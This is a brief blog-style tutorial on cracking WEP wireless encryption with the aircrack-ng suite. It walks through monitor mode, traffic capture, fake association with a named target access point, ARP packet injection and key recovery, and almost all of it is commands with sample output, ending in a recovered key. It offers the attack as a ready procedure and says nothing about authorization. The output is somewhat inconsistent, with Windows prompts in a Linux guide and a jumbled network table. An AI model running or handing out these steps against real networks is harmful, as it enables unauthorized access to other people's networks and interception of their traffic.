Wired Equivalent Privacy (WEP) is a security algorithm for IEEE 802.11 wireless networks. Introduced as part of the original 802.11 standard ratified in 1997, its intention was to provide data confidentiality comparable to that of a traditional wired network.
In this post, I will teach you on how to crack WEP Encryption by utilizing aircrack-ng on your Linux System.
STEP START
STEP 1 → Run airmon-ng in monitor mode
C:\>airmon-ng start eth1 STEP 2 → Start airodump-ng to display SSID on interface and keep it running
C:\>airodump-ng --ivs --write capture eth1
BBSID PWR RXQ Beacons #Data #/s CH MB ENC CIPHER ESSID
02:24:2A:BC:89:FE 99 5 61 3 9 1 54e OPN WEP GLOBBE_WIFI
02:24:2A:BC:89:DD 99 9 76 4 0 4 54e OPN SMMART_WIREL
00:12:6C:69:5D:CC 99 0 16 1 0 8 54e WEP WEP SOGOOD_HOTEL
1E:33:4F:AE:69:7E 76 70 157 1 0 11 54e WEP WEP HIDDEN_MEEKEY
BBSID Station PWR Rate Lost Packets Probes
1E:33:4F:AE:69:7E 00:16:8A:B2:BD:B1 -1 1-0 0 1
1E:33:4F:AE:69:7E 00:1F:4C:CB:B6:BC 76 1e-54 0 6 STEP 3 → Associate your wireless card (eg. a6:69:ef:7d:d7:25) with the target access point
C:\>aireplay-ng -1 0 -e HIDDEN_MEEKEY -a 1e:33:4f:ae:69:7e -h a6:69:ef:7d:d7:25 eth1
22:25:10 Waiting for beacon frame (BSSID: 1E:33:4F:AE:69:7E) on channel 11
22:25:10 Sending Authentication Request
22:25:10 Authentication Successful
22:25:10 Sending Association Request
22:25:10 Association successful :-)STEP 4 → Inject packets using aireplay-ng to generate traffic on the target access point
C:\>aireplay-ng -3 -b 1e:33:4f:ae:69:7e -h a6:69:ef:7d:d7:25 eth1
22:30:15 Waiting for beacon frame (BSSID: 1E:33:4F:AE:69:7E)
Saving ARP requests in replay_arp-0219-123051.cap
You should also start airodump-ng to capture replies
Read 11978 packets (got 7139 ARP requests), sent 3902 packets...STEP 5 → Wait for airodump-ng to capture more than 50,000 IVs
STEP 6 → Crack Wired Equivalent Privacy Key using aircrack-ng
C:\>aircrack-ng -s capture.ivs
Opening capture.ivs
Aircrack-ng 0.7 r130
[00:00:10] Tested 77 keys (got 684002 IVs)
KB depth byte(vote)
0/0 1 AE(199) 29(27) 2D(13) 7C(12) FE(12) FF(6) 39(5) 2C(3) 00(0) 08(0)
10/ 3 66(41) F1(33) 4C(23) 00(19) 9F(19) C7(18) 64(9) 7A(9) 7B(9) F6(9)
20/ 2 5C(89) 52(60) E3(22) 10(20) F3(18) 8B(15) 8E(15) 14(13) D2(11) 47(10)
30/ 1 FD(375) 81(40) 1D(26) 99(26) D2(23) 33(20) 2C(19) 05(17) 0B(17) 35(17)
KEY FOUND! [AE:66:5C:FD:24]STEP END
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